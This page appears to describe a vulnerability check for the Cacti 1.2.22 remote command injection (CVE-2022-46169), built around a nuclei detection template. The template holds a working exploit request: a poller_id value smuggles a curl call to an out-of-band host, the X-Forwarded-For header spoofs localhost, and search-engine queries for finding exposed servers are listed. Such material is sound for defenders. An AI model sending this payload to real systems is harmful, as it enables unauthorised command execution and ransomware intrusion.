Cacti <=1.2.22 - Remote Command Injection

Exploited in the wild. Listed by CISA on 2023-02-16; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS commands on the server, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.

Fix

Upgrade Cacti to version 1.2.23 or later to mitigate this vulnerability.

How to confirm it

Send: GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20{{interactsh-url}}%20-H%20'User-Agent%3a%20{{useragent}}';
Positive when: contains "\"value\":" and "\"local_data_id\":" AND contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: {{useragent}}" AND status 200

Run it with nuclei: nuclei -id CVE-2022-46169 -u <target>

The full check

id: CVE-2022-46169

info:
  name: Cacti <=1.2.22 - Remote Command Injection
  author: Hardik-Solanki,j4vaovo
  severity: critical
  description: |
    Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS commands on the server, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade Cacti to version 1.2.23 or later to mitigate this vulnerability.
  reference:
    - https://security-tracker.debian.org/tracker/CVE-2022-46169
    - https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
    - https://www.cybersecurity-help.cz/vdb/SB2022121926
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46169
    - https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-46169
    cwe-id: CWE-78,CWE-74
    epss-score: 0.99826
    epss-percentile: 0.9996
    cpe: cpe:2.3:a:cacti:cacti:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query:
      - title:"Login to Cacti"
      - http.title:"login to cacti"
      - http.title:"cacti"
      - http.favicon.hash:"-1797138069"
    fofa-query:
      - icon_hash="-1797138069"
      - title="cacti"
      - title="login to cacti"
    google-query:
      - intitle:"cacti"
      - intitle:"login to cacti"
  tags: cve,cve2022,auth-bypass,cacti,kev,rce,unauth,vkev,vuln
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20{{interactsh-url}}%20-H%20'User-Agent%3a%20{{useragent}}'; HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"value":'
          - '"local_data_id":'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from